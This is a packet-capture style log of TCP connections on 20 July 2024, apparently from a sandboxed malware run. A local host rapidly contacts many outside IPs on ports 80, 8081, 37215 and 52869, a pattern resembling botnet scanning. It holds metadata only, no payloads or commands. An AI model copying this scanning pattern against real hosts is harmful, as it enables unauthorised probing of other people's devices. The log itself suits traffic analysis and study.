Jul 20, 2024 23:01:01.771725893 CEST	40454	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:01.772073984 CEST	52869	39944	195.228.120.248	192.168.2.13
Jul 20, 2024 23:01:01.772111893 CEST	39944	52869	192.168.2.13	195.228.120.248
Jul 20, 2024 23:01:01.772345066 CEST	8081	56836	210.165.42.21	192.168.2.13
Jul 20, 2024 23:01:01.772479057 CEST	55372	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:01.772479057 CEST	55372	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:01.773853064 CEST	8081	44414	86.112.206.20	192.168.2.13
Jul 20, 2024 23:01:01.773948908 CEST	80	34470	88.124.176.110	192.168.2.13
Jul 20, 2024 23:01:01.774059057 CEST	41172	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:01.774116993 CEST	34470	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:01.774574995 CEST	37215	54416	92.31.50.53	192.168.2.13
Jul 20, 2024 23:01:01.774622917 CEST	34900	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:01.775146008 CEST	54416	37215	192.168.2.13	92.31.50.53
Jul 20, 2024 23:01:01.775516033 CEST	8081	57670	210.165.42.21	192.168.2.13
Jul 20, 2024 23:01:01.775789022 CEST	57670	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:01.776329041 CEST	56206	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:01.776407957 CEST	44414	8081	192.168.2.13	86.112.206.20
Jul 20, 2024 23:01:01.776724100 CEST	37215	42890	13.152.140.36	192.168.2.13
Jul 20, 2024 23:01:01.776988029 CEST	80	40454	88.26.20.160	192.168.2.13
Jul 20, 2024 23:01:01.777626991 CEST	80	33386	88.14.202.89	192.168.2.13
Jul 20, 2024 23:01:01.778089046 CEST	8081	49934	14.11.59.216	192.168.2.13
Jul 20, 2024 23:01:01.778155088 CEST	8081	55372	173.208.77.243	192.168.2.13
Jul 20, 2024 23:01:01.779146910 CEST	44022	52869	192.168.2.13	157.40.9.209
Jul 20, 2024 23:01:01.779723883 CEST	46322	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:01.779723883 CEST	46322	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:01.780064106 CEST	80	41172	88.26.20.160	192.168.2.13
Jul 20, 2024 23:01:01.780292034 CEST	41172	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:01.780297995 CEST	37215	34900	147.21.178.207	192.168.2.13
Jul 20, 2024 23:01:01.780411005 CEST	42890	37215	192.168.2.13	13.152.140.36
Jul 20, 2024 23:01:01.780411005 CEST	49934	8081	192.168.2.13	14.11.59.216
Jul 20, 2024 23:01:01.780427933 CEST	33386	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:01.780484915 CEST	52869	39944	195.228.120.248	192.168.2.13
Jul 20, 2024 23:01:01.780678988 CEST	34900	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:01.781240940 CEST	39636	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:01.781240940 CEST	39636	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:01.781526089 CEST	8081	56206	173.208.77.243	192.168.2.13
Jul 20, 2024 23:01:01.781569004 CEST	56206	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:01.782102108 CEST	80	34470	88.124.176.110	192.168.2.13
Jul 20, 2024 23:01:01.782327890 CEST	37215	54416	92.31.50.53	192.168.2.13
Jul 20, 2024 23:01:01.782609940 CEST	47042	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:01.782818079 CEST	8081	57670	210.165.42.21	192.168.2.13
Jul 20, 2024 23:01:01.783073902 CEST	56550	37215	192.168.2.13	161.87.144.23
Jul 20, 2024 23:01:01.783651114 CEST	40472	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:01.784413099 CEST	54416	37215	192.168.2.13	92.31.50.53
Jul 20, 2024 23:01:01.784413099 CEST	34470	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:01.784414053 CEST	39944	52869	192.168.2.13	195.228.120.248
Jul 20, 2024 23:01:01.784451962 CEST	57670	8081	192.168.2.13	210.165.42.21
Jul 20, 2024 23:01:01.784730911 CEST	52869	44022	157.40.9.209	192.168.2.13
Jul 20, 2024 23:01:01.784770012 CEST	44022	52869	192.168.2.13	157.40.9.209
Jul 20, 2024 23:01:01.785064936 CEST	80	46322	88.191.61.195	192.168.2.13
Jul 20, 2024 23:01:01.786170006 CEST	56608	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:01.786170006 CEST	56608	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:01.786253929 CEST	80	41172	88.26.20.160	192.168.2.13
Jul 20, 2024 23:01:01.786314964 CEST	8081	39636	178.9.35.137	192.168.2.13
Jul 20, 2024 23:01:01.786324024 CEST	37215	34900	147.21.178.207	192.168.2.13
Jul 20, 2024 23:01:01.787081957 CEST	35980	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:01.787081957 CEST	35980	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:01.787328005 CEST	8081	56206	173.208.77.243	192.168.2.13
Jul 20, 2024 23:01:01.787821054 CEST	80	47042	88.191.61.195	192.168.2.13
Jul 20, 2024 23:01:01.787858009 CEST	47042	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:01.788418055 CEST	34900	37215	192.168.2.13	147.21.178.207
Jul 20, 2024 23:01:01.788779020 CEST	57328	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:01.788898945 CEST	37215	56550	161.87.144.23	192.168.2.13
Jul 20, 2024 23:01:01.788945913 CEST	56550	37215	192.168.2.13	161.87.144.23
Jul 20, 2024 23:01:01.788991928 CEST	8081	40472	178.9.35.137	192.168.2.13
Jul 20, 2024 23:01:01.789118052 CEST	51226	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:01.789169073 CEST	40472	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:01.789737940 CEST	51074	52869	192.168.2.13	221.82.215.87
Jul 20, 2024 23:01:01.789926052 CEST	36818	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:01.791280031 CEST	80	56608	88.134.250.2	192.168.2.13
Jul 20, 2024 23:01:01.791867971 CEST	56754	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:01.791867971 CEST	56754	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:01.792416096 CEST	41172	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:01.792557001 CEST	56206	8081	192.168.2.13	173.208.77.243
Jul 20, 2024 23:01:01.792661905 CEST	51586	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:01.792663097 CEST	51586	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:01.793139935 CEST	8081	35980	130.219.171.86	192.168.2.13
Jul 20, 2024 23:01:01.793735981 CEST	80	47042	88.191.61.195	192.168.2.13
Jul 20, 2024 23:01:01.793790102 CEST	80	57328	88.134.250.2	192.168.2.13
Jul 20, 2024 23:01:01.793827057 CEST	57328	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:01.794301987 CEST	37215	51226	202.117.135.95	192.168.2.13
Jul 20, 2024 23:01:01.794441938 CEST	51226	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:01.794970989 CEST	52869	51074	221.82.215.87	192.168.2.13
Jul 20, 2024 23:01:01.795104027 CEST	51074	52869	192.168.2.13	221.82.215.87
Jul 20, 2024 23:01:01.795139074 CEST	8081	36818	130.219.171.86	192.168.2.13
Jul 20, 2024 23:01:01.795147896 CEST	37215	56550	161.87.144.23	192.168.2.13
Jul 20, 2024 23:01:01.795434952 CEST	36818	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:01.795850039 CEST	57476	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:01.796113014 CEST	59636	37215	192.168.2.13	199.7.187.18
Jul 20, 2024 23:01:01.796390057 CEST	8081	40472	178.9.35.137	192.168.2.13
Jul 20, 2024 23:01:01.796605110 CEST	47042	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:01.796766043 CEST	52424	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:01.797482014 CEST	80	56754	88.80.198.142	192.168.2.13
Jul 20, 2024 23:01:01.798109055 CEST	8081	51586	66.77.188.156	192.168.2.13
Jul 20, 2024 23:01:01.799798965 CEST	38480	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:01.799798965 CEST	38480	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:01.800108910 CEST	80	57328	88.134.250.2	192.168.2.13
Jul 20, 2024 23:01:01.800345898 CEST	55182	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:01.800347090 CEST	55182	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:01.800410032 CEST	57328	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:01.800501108 CEST	40472	8081	192.168.2.13	178.9.35.137
Jul 20, 2024 23:01:01.800594091 CEST	56550	37215	192.168.2.13	161.87.144.23
Jul 20, 2024 23:01:01.801000118 CEST	80	57476	88.80.198.142	192.168.2.13
Jul 20, 2024 23:01:01.801039934 CEST	57476	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:01.801239967 CEST	37215	59636	199.7.187.18	192.168.2.13
Jul 20, 2024 23:01:01.801282883 CEST	59636	37215	192.168.2.13	199.7.187.18
Jul 20, 2024 23:01:01.801449060 CEST	60722	52869	192.168.2.13	78.145.139.16
Jul 20, 2024 23:01:01.802258015 CEST	8081	52424	66.77.188.156	192.168.2.13
Jul 20, 2024 23:01:01.802262068 CEST	48126	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:01.802294016 CEST	52424	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:01.802642107 CEST	39202	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:01.803103924 CEST	56022	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:01.804337025 CEST	37215	51226	202.117.135.95	192.168.2.13
Jul 20, 2024 23:01:01.804347038 CEST	52869	51074	221.82.215.87	192.168.2.13
Jul 20, 2024 23:01:01.804410934 CEST	51074	52869	192.168.2.13	221.82.215.87
Jul 20, 2024 23:01:01.804414988 CEST	51226	37215	192.168.2.13	202.117.135.95
Jul 20, 2024 23:01:01.804763079 CEST	36808	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:01.804763079 CEST	36808	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:01.805222034 CEST	80	38480	88.127.108.167	192.168.2.13
Jul 20, 2024 23:01:01.805466890 CEST	8081	55182	9.29.133.23	192.168.2.13
Jul 20, 2024 23:01:01.805835962 CEST	8081	36818	130.219.171.86	192.168.2.13
Jul 20, 2024 23:01:01.805888891 CEST	60958	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:01.805934906 CEST	60958	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:01.806994915 CEST	52869	60722	78.145.139.16	192.168.2.13
Jul 20, 2024 23:01:01.807035923 CEST	60722	52869	192.168.2.13	78.145.139.16
Jul 20, 2024 23:01:01.807342052 CEST	37530	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:01.807601929 CEST	37215	48126	197.30.140.44	192.168.2.13
Jul 20, 2024 23:01:01.807637930 CEST	48126	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:01.807698965 CEST	45550	37215	192.168.2.13	41.45.233.5
Jul 20, 2024 23:01:01.808115959 CEST	80	39202	88.127.108.167	192.168.2.13
Jul 20, 2024 23:01:01.808155060 CEST	39202	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:01.808372974 CEST	8081	56022	9.29.133.23	192.168.2.13
Jul 20, 2024 23:01:01.808424950 CEST	36818	8081	192.168.2.13	130.219.171.86
Jul 20, 2024 23:01:01.808712006 CEST	56022	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:01.809709072 CEST	33566	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:01.809958935 CEST	80	36808	88.191.85.56	192.168.2.13
Jul 20, 2024 23:01:01.810719967 CEST	80	57476	88.80.198.142	192.168.2.13
Jul 20, 2024 23:01:01.810930014 CEST	8081	60958	88.12.234.69	192.168.2.13
Jul 20, 2024 23:01:01.811062098 CEST	54976	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:01.811062098 CEST	54976	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:01.811486959 CEST	37215	59636	199.7.187.18	192.168.2.13
Jul 20, 2024 23:01:01.811604977 CEST	35384	52869	192.168.2.13	14.2.30.96
Jul 20, 2024 23:01:01.812328100 CEST	59574	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:01.812328100 CEST	59574	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:01.812642097 CEST	8081	52424	66.77.188.156	192.168.2.13
Jul 20, 2024 23:01:01.812649965 CEST	80	37530	88.191.85.56	192.168.2.13
Jul 20, 2024 23:01:01.812658072 CEST	8081	56836	210.165.42.21	192.168.2.13
Jul 20, 2024 23:01:01.812666893 CEST	8081	49106	14.11.59.216	192.168.2.13
Jul 20, 2024 23:01:01.812685966 CEST	37530	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:01.812946081 CEST	80	60902	88.14.202.89	192.168.2.13
Jul 20, 2024 23:01:01.812954903 CEST	80	33752	88.124.176.110	192.168.2.13
Jul 20, 2024 23:01:01.813195944 CEST	37215	45550	41.45.233.5	192.168.2.13
Jul 20, 2024 23:01:01.814039946 CEST	45550	37215	192.168.2.13	41.45.233.5
Jul 20, 2024 23:01:01.814039946 CEST	55700	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:01.814945936 CEST	8081	33566	88.12.234.69	192.168.2.13
Jul 20, 2024 23:01:01.815113068 CEST	33566	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:01.815205097 CEST	40330	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:01.815659046 CEST	60416	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:01.816256046 CEST	80	54976	88.235.101.168	192.168.2.13
Jul 20, 2024 23:01:01.816410065 CEST	59636	37215	192.168.2.13	199.7.187.18
Jul 20, 2024 23:01:01.816410065 CEST	52424	8081	192.168.2.13	66.77.188.156
Jul 20, 2024 23:01:01.816418886 CEST	57476	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:01.816626072 CEST	52869	35384	14.2.30.96	192.168.2.13
Jul 20, 2024 23:01:01.816854000 CEST	35384	52869	192.168.2.13	14.2.30.96
Jul 20, 2024 23:01:01.817308903 CEST	8081	59574	183.41.184.24	192.168.2.13
Jul 20, 2024 23:01:01.817728996 CEST	57836	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:01.817728996 CEST	57836	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:01.818633080 CEST	52869	60722	78.145.139.16	192.168.2.13
Jul 20, 2024 23:01:01.818666935 CEST	59802	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:01.818666935 CEST	59802	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:01.819334030 CEST	37215	48126	197.30.140.44	192.168.2.13
Jul 20, 2024 23:01:01.819390059 CEST	80	55700	88.235.101.168	192.168.2.13
Jul 20, 2024 23:01:01.819428921 CEST	55700	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:01.820169926 CEST	58562	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:01.820218086 CEST	8081	56022	9.29.133.23	192.168.2.13
Jul 20, 2024 23:01:01.820319891 CEST	51372	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:01.820409060 CEST	60722	52869	192.168.2.13	78.145.139.16
Jul 20, 2024 23:01:01.820410013 CEST	48126	37215	192.168.2.13	197.30.140.44
Jul 20, 2024 23:01:01.820477962 CEST	56022	8081	192.168.2.13	9.29.133.23
Jul 20, 2024 23:01:01.820606947 CEST	8081	55372	173.208.77.243	192.168.2.13
Jul 20, 2024 23:01:01.820624113 CEST	80	40454	88.26.20.160	192.168.2.13
Jul 20, 2024 23:01:01.820660114 CEST	37215	40330	157.137.243.27	192.168.2.13
Jul 20, 2024 23:01:01.820760965 CEST	40330	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:01.821281910 CEST	80	37530	88.191.85.56	192.168.2.13
Jul 20, 2024 23:01:01.821388960 CEST	8081	60416	183.41.184.24	192.168.2.13
Jul 20, 2024 23:01:01.821429968 CEST	60416	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:01.821485996 CEST	60644	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:01.821621895 CEST	37215	45550	41.45.233.5	192.168.2.13
Jul 20, 2024 23:01:01.822879076 CEST	51056	52869	192.168.2.13	168.69.38.135
Jul 20, 2024 23:01:01.823333979 CEST	8081	33566	88.12.234.69	192.168.2.13
Jul 20, 2024 23:01:01.823537111 CEST	80	57836	88.53.65.5	192.168.2.13
Jul 20, 2024 23:01:01.823688030 CEST	52869	35384	14.2.30.96	192.168.2.13
Jul 20, 2024 23:01:01.823709965 CEST	46520	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:01.823709965 CEST	46520	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:01.824008942 CEST	8081	59802	189.255.174.137	192.168.2.13
Jul 20, 2024 23:01:01.824368954 CEST	57098	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:01.824369907 CEST	57098	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:01.824412107 CEST	33566	8081	192.168.2.13	88.12.234.69
Jul 20, 2024 23:01:01.824412107 CEST	45550	37215	192.168.2.13	41.45.233.5
Jul 20, 2024 23:01:01.824410915 CEST	35384	52869	192.168.2.13	14.2.30.96
Jul 20, 2024 23:01:01.824413061 CEST	37530	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:01.825292110 CEST	80	55700	88.235.101.168	192.168.2.13
Jul 20, 2024 23:01:01.825378895 CEST	80	58562	88.53.65.5	192.168.2.13
Jul 20, 2024 23:01:01.825412035 CEST	58562	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:01.825562954 CEST	37215	51372	47.63.66.179	192.168.2.13
Jul 20, 2024 23:01:01.825603008 CEST	51372	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:01.826150894 CEST	47250	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:01.826622963 CEST	8081	60416	183.41.184.24	192.168.2.13
Jul 20, 2024 23:01:01.826858044 CEST	44042	37215	192.168.2.13	197.26.124.173
Jul 20, 2024 23:01:01.826931000 CEST	8081	60644	189.255.174.137	192.168.2.13
Jul 20, 2024 23:01:01.827006102 CEST	37215	40330	157.137.243.27	192.168.2.13
Jul 20, 2024 23:01:01.827018976 CEST	60644	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:01.827028990 CEST	57942	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:01.828114033 CEST	52869	51056	168.69.38.135	192.168.2.13
Jul 20, 2024 23:01:01.828145981 CEST	51056	52869	192.168.2.13	168.69.38.135
Jul 20, 2024 23:01:01.828432083 CEST	60416	8081	192.168.2.13	183.41.184.24
Jul 20, 2024 23:01:01.829046965 CEST	39342	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:01.829046965 CEST	39342	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:01.829288006 CEST	80	46520	88.165.214.168	192.168.2.13
Jul 20, 2024 23:01:01.829615116 CEST	8081	57098	160.246.149.90	192.168.2.13
Jul 20, 2024 23:01:01.829834938 CEST	45800	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:01.829834938 CEST	45800	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:01.831008911 CEST	80	58562	88.53.65.5	192.168.2.13
Jul 20, 2024 23:01:01.831125975 CEST	40074	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:01.831231117 CEST	45408	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:01.831393003 CEST	33916	52869	192.168.2.13	162.26.5.38
Jul 20, 2024 23:01:01.831597090 CEST	37215	51372	47.63.66.179	192.168.2.13
Jul 20, 2024 23:01:01.831960917 CEST	46646	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:01.832248926 CEST	80	47250	88.165.214.168	192.168.2.13
Jul 20, 2024 23:01:01.832289934 CEST	47250	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:01.832319021 CEST	37215	44042	197.26.124.173	192.168.2.13
Jul 20, 2024 23:01:01.832410097 CEST	51372	37215	192.168.2.13	47.63.66.179
Jul 20, 2024 23:01:01.832413912 CEST	58562	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:01.832413912 CEST	55700	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:01.832465887 CEST	40330	37215	192.168.2.13	157.137.243.27
Jul 20, 2024 23:01:01.832469940 CEST	44042	37215	192.168.2.13	197.26.124.173
Jul 20, 2024 23:01:01.832602978 CEST	8081	57942	160.246.149.90	192.168.2.13
Jul 20, 2024 23:01:01.832638979 CEST	57942	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:01.832772970 CEST	37215	43246	157.181.19.73	192.168.2.13
Jul 20, 2024 23:01:01.832789898 CEST	37215	49966	197.13.115.180	192.168.2.13
Jul 20, 2024 23:01:01.832798004 CEST	8081	39636	178.9.35.137	192.168.2.13
Jul 20, 2024 23:01:01.832807064 CEST	80	48198	88.131.43.170	192.168.2.13
Jul 20, 2024 23:01:01.833082914 CEST	8081	35096	14.129.83.80	192.168.2.13
Jul 20, 2024 23:01:01.833092928 CEST	80	46322	88.191.61.195	192.168.2.13
Jul 20, 2024 23:01:01.833101034 CEST	80	56608	88.134.250.2	192.168.2.13
Jul 20, 2024 23:01:01.833126068 CEST	8081	60644	189.255.174.137	192.168.2.13
Jul 20, 2024 23:01:01.833354950 CEST	44312	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:01.833354950 CEST	44312	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:01.833435059 CEST	52869	51056	168.69.38.135	192.168.2.13
Jul 20, 2024 23:01:01.834180117 CEST	80	39342	88.96.232.196	192.168.2.13
Jul 20, 2024 23:01:01.835628033 CEST	39702	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:01.835628033 CEST	39702	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:01.835889101 CEST	8081	45800	221.158.28.228	192.168.2.13
Jul 20, 2024 23:01:01.835912943 CEST	45048	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:01.836406946 CEST	51056	52869	192.168.2.13	168.69.38.135
Jul 20, 2024 23:01:01.836406946 CEST	35096	8081	192.168.2.13	14.129.83.80
Jul 20, 2024 23:01:01.836412907 CEST	49966	37215	192.168.2.13	197.13.115.180
Jul 20, 2024 23:01:01.836412907 CEST	48198	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:01.836412907 CEST	60644	8081	192.168.2.13	189.255.174.137
Jul 20, 2024 23:01:01.836415052 CEST	43246	37215	192.168.2.13	157.181.19.73
Jul 20, 2024 23:01:01.836491108 CEST	51442	37215	192.168.2.13	41.58.206.220
Jul 20, 2024 23:01:01.840272903 CEST	40548	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:01.840338945 CEST	80	40074	88.96.232.196	192.168.2.13
Jul 20, 2024 23:01:01.840348005 CEST	37215	45408	41.59.60.215	192.168.2.13
Jul 20, 2024 23:01:01.840373039 CEST	40074	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:01.840405941 CEST	45408	37215	192.168.2.13	41.59.60.215
Jul 20, 2024 23:01:01.840465069 CEST	58958	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:01.840466022 CEST	58958	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:01.840543032 CEST	52869	33916	162.26.5.38	192.168.2.13
Jul 20, 2024 23:01:01.840578079 CEST	8081	46646	221.158.28.228	192.168.2.13
Jul 20, 2024 23:01:01.840586901 CEST	80	44312	88.120.148.226	192.168.2.13
Jul 20, 2024 23:01:01.840609074 CEST	33916	52869	192.168.2.13	162.26.5.38
Jul 20, 2024 23:01:01.840734005 CEST	8081	35980	130.219.171.86	192.168.2.13
Jul 20, 2024 23:01:01.840753078 CEST	46646	8081	192.168.2.13	221.158.28.228
Jul 20, 2024 23:01:01.840943098 CEST	8081	51586	66.77.188.156	192.168.2.13
Jul 20, 2024 23:01:01.840951920 CEST	80	56754	88.80.198.142	192.168.2.13
Jul 20, 2024 23:01:01.840960026 CEST	8081	39702	211.150.198.165	192.168.2.13
Jul 20, 2024 23:01:01.841264963 CEST	80	45048	88.120.148.226	192.168.2.13
Jul 20, 2024 23:01:01.841485023 CEST	45048	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:01.842359066 CEST	60250	52869	192.168.2.13	71.112.213.237
Jul 20, 2024 23:01:01.842933893 CEST	59698	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:01.842962027 CEST	35104	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:01.842962027 CEST	35104	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:01.843009949 CEST	37215	51442	41.58.206.220	192.168.2.13
Jul 20, 2024 23:01:01.843218088 CEST	36402	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:01.843859911 CEST	51442	37215	192.168.2.13	41.58.206.220
Jul 20, 2024 23:01:01.845196962 CEST	35956	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:01.845494032 CEST	38300	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:01.845560074 CEST	38300	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:01.845995903 CEST	80	47250	88.165.214.168	192.168.2.13
Jul 20, 2024 23:01:01.846013069 CEST	8081	40548	211.150.198.165	192.168.2.13
Jul 20, 2024 23:01:01.846049070 CEST	40548	8081	192.168.2.13	211.150.198.165
Jul 20, 2024 23:01:01.846266985 CEST	80	58958	88.104.112.235	192.168.2.13
Jul 20, 2024 23:01:01.847901106 CEST	37215	44042	197.26.124.173	192.168.2.13
Jul 20, 2024 23:01:01.847970009 CEST	40082	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:01.847970009 CEST	40082	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:01.848109961 CEST	39042	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:01.848360062 CEST	8081	57942	160.246.149.90	192.168.2.13
Jul 20, 2024 23:01:01.848370075 CEST	52869	60250	71.112.213.237	192.168.2.13
Jul 20, 2024 23:01:01.848383904 CEST	59930	37215	192.168.2.13	89.176.16.102
Jul 20, 2024 23:01:01.848411083 CEST	57942	8081	192.168.2.13	160.246.149.90
Jul 20, 2024 23:01:01.848531961 CEST	47250	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:01.848537922 CEST	60250	52869	192.168.2.13	71.112.213.237
Jul 20, 2024 23:01:01.848561049 CEST	44042	37215	192.168.2.13	197.26.124.173
Jul 20, 2024 23:01:01.848670959 CEST	80	59698	88.104.112.235	192.168.2.13
Jul 20, 2024 23:01:01.848680973 CEST	8081	35104	70.115.97.135	192.168.2.13
Jul 20, 2024 23:01:01.848710060 CEST	59698	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:01.848843098 CEST	8081	55182	9.29.133.23	192.168.2.13
Jul 20, 2024 23:01:01.848851919 CEST	80	38480	88.127.108.167	192.168.2.13
Jul 20, 2024 23:01:01.849149942 CEST	37215	36402	157.122.230.247	192.168.2.13
Jul 20, 2024 23:01:01.849188089 CEST	36402	37215	192.168.2.13	157.122.230.247
Jul 20, 2024 23:01:01.850224018 CEST	40934	8081	192.168.2.13	80.68.41.88
Jul 20, 2024 23:01:01.850522995 CEST	44570	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:01.850522995 CEST	44570	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:01.850599051 CEST	8081	35956	70.115.97.135	192.168.2.13
Jul 20, 2024 23:01:01.850608110 CEST	80	38300	88.169.191.113	192.168.2.13
Jul 20, 2024 23:01:01.850636959 CEST	35956	8081	192.168.2.13	70.115.97.135
Jul 20, 2024 23:01:01.851064920 CEST	46252	52869	192.168.2.13	221.85.136.10
Jul 20, 2024 23:01:01.852659941 CEST	80	40074	88.96.232.196	192.168.2.13
Jul 20, 2024 23:01:01.852740049 CEST	8081	60958	88.12.234.69	192.168.2.13
Jul 20, 2024 23:01:01.852756023 CEST	80	36808	88.191.85.56	192.168.2.13
Jul 20, 2024 23:01:01.852803946 CEST	60608	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:01.852803946 CEST	60608	8081	192.168.2.13	4.17.149.227
Jul 20, 2024 23:01:01.852922916 CEST	45314	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:01.853009939 CEST	8081	40082	80.68.41.88	192.168.2.13
Jul 20, 2024 23:01:01.853018999 CEST	52869	33916	162.26.5.38	192.168.2.13
Jul 20, 2024 23:01:01.853157997 CEST	37215	45408	41.59.60.215	192.168.2.13
Jul 20, 2024 23:01:01.853224039 CEST	50408	37215	192.168.2.13	41.174.42.115
